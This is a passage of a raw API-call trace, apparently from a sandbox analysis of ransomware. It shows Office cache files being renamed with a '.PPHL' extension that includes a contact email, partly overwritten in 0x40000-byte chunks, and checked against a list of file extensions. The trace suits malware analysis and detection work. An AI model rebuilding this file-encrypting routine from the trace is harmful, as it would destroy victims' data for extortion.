"c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0069.465] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0069.465] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.465] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.469] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.469] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.475] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0069.475] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.475] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.492] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.492] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0069.505] SetEndOfFile (hFile=0x1ac) returned 1 [0069.505] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0069.562] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.562] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.563] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.563] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.563] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.564] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.565] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0069.565] CloseHandle (hObject=0x1ac) returned 1 [0072.100] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0072.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.101] lstrlenW (lpString=".doc") returned 4 [0072.101] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0072.101] lstrlenW (lpString=".docx") returned 5 [0072.101] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0072.101] lstrlenW (lpString=".pdf") returned 4 [0072.101] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0072.101] lstrlenW (lpString=".xls") returned 4 [0072.101] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0072.101] lstrlenW (lpString=".xlsx") returned 5 [0072.101] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0072.101] lstrlenW (lpString=".ppt") returned 4 [0072.101] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0072.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.101] lstrlenW (lpString=".zip") returned 4 [0072.101] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0072.101] lstrlenW (lpString=".rar") returned 4 [0072.101] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0072.101] lstrlenW (lpString=".bz2") returned 4 [0072.101] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0072.101] lstrlenW (lpString=".7z") returned 3 [0072.101] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0072.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.101] lstrlenW (lpString=".dbf") returned 4 [0072.101] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0072.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.101] lstrlenW (lpString=".1cd") returned 4 [0072.102] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0072.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.102] lstrlenW (lpString=".jpg") returned 4 [0072.102] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0072.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.102] lstrlenW (lpString=".doc") returned 4 [0072.102] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0072.102] lstrlenW (lpString=".docx") returned 5 [0072.102] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0072.102] lstrlenW (lpString=".pdf") returned 4 [0072.102] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0072.102] lstrlenW (lpString=".xls") returned 4 [0072.102] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0072.102] lstrlenW (lpString=".xlsx") returned 5 [0072.102] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0072.102] lstrlenW (lpString=".ppt") returned 4 [0072.102] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0072.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.102] lstrlenW (lpString=".zip") returned 4 [0072.102] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0072.102] lstrlenW (lpString=".rar") returned 4 [0072.102] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0072.102] lstrlenW (lpString=".bz2") returned 4 [0072.102] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0072.102] lstrlenW (lpString=".7z") returned 3 [0072.102] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0072.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.102] lstrlenW (lpString=".dbf") returned 4 [0072.102] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0072.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.102] lstrlenW (lpString=".1cd") returned 4 [0072.102] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0072.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0072.102] lstrlenW (lpString=".jpg") returned 4 [0072.102] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0072.103] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0072.103] lstrlenW (lpString="VisioMUI.msi") returned 12 [0072.103] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0072.103] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=2797568) returned 1 [0072.103] CloseHandle (hObject=0x1ac) returned 1 [0072.103] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0072.103] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0072.103] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0072.104] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0072.104] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0072.104] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0072.104] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.534] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0072.534] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.714] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0072.714] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0072.714] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.840] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.840] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0073.105] SetEndOfFile (hFile=0x1ac) returned 1 [0073.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0073.106] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0073.106] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.107] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0073.107] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.113] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0073.113] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.115] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0073.115] CloseHandle (hObject=0x1ac) returned 1 [0073.116] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0073.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.116] lstrlenW (lpString=".doc") returned 4 [0073.116] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.116] lstrlenW (lpString=".docx") returned 5 [0073.116] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.116] lstrlenW (lpString=".pdf") returned 4 [0073.116] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.116] lstrlenW (lpString=".xls") returned 4 [0073.116] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.116] lstrlenW (lpString=".xlsx") returned 5 [0073.116] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.116] lstrlenW (lpString=".ppt") returned 4 [0073.116] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.116] lstrlenW (lpString=".zip") returned 4 [0073.116] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.116] lstrlenW (lpString=".rar") returned 4 [0073.116] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.116] lstrlenW (lpString=".bz2") returned 4 [0073.116] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.116] lstrlenW (lpString=".7z") returned 3 [0073.117] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.117] lstrlenW (lpString=".dbf") returned 4 [0073.117] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.117] lstrlenW (lpString=".1cd") returned 4 [0073.117] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.117] lstrlenW (lpString=".jpg") returned 4 [0073.117] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.117] lstrlenW (lpString=".doc") returned 4 [0073.117] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.117] lstrlenW (lpString=".docx") returned 5 [0073.117] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.117] lstrlenW (lpString=".pdf") returned 4 [0073.117] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.117] lstrlenW (lpString=".xls") returned 4 [0073.117] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.117] lstrlenW (lpString=".xlsx") returned 5 [0073.117] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.117] lstrlenW (lpString=".ppt") returned 4 [0073.117] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.117] lstrlenW (lpString=".zip") returned 4 [0073.117] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.117] lstrlenW (lpString=".rar") returned 4 [0073.117] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.117] lstrlenW (lpString=".bz2") returned 4 [0073.117] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.117] lstrlenW (lpString=".7z") returned 3 [0073.117] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.117] lstrlenW (lpString=".dbf") returned 4 [0073.117] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.118] lstrlenW (lpString=".1cd") returned 4 [0073.118] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0073.118] lstrlenW (lpString=".jpg") returned 4 [0073.118] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.118] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0073.118] lstrlenW (lpString="OnoteLR.cab") returned 11 [0073.118] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0073.118] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=17456632) returned 1 [0073.118] CloseHandle (hObject=0x1ac) returned 1 [0073.118] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0073.118] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.118] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0073.119] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0073.119] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0073.119] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.119] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.198] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.198] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.254] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0073.255] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.255] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.279] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.279] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0073.298] SetEndOfFile (hFile=0x1ac) returned 1 [0073.298] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0073.298] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0073.298] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.299] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0073.299] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.300] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0073.300] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.732] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0073.732] CloseHandle (hObject=0x1ac) returned 1 [0073.732] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0073.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.732] lstrlenW (lpString=".doc") returned 4 [0073.732] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.732] lstrlenW 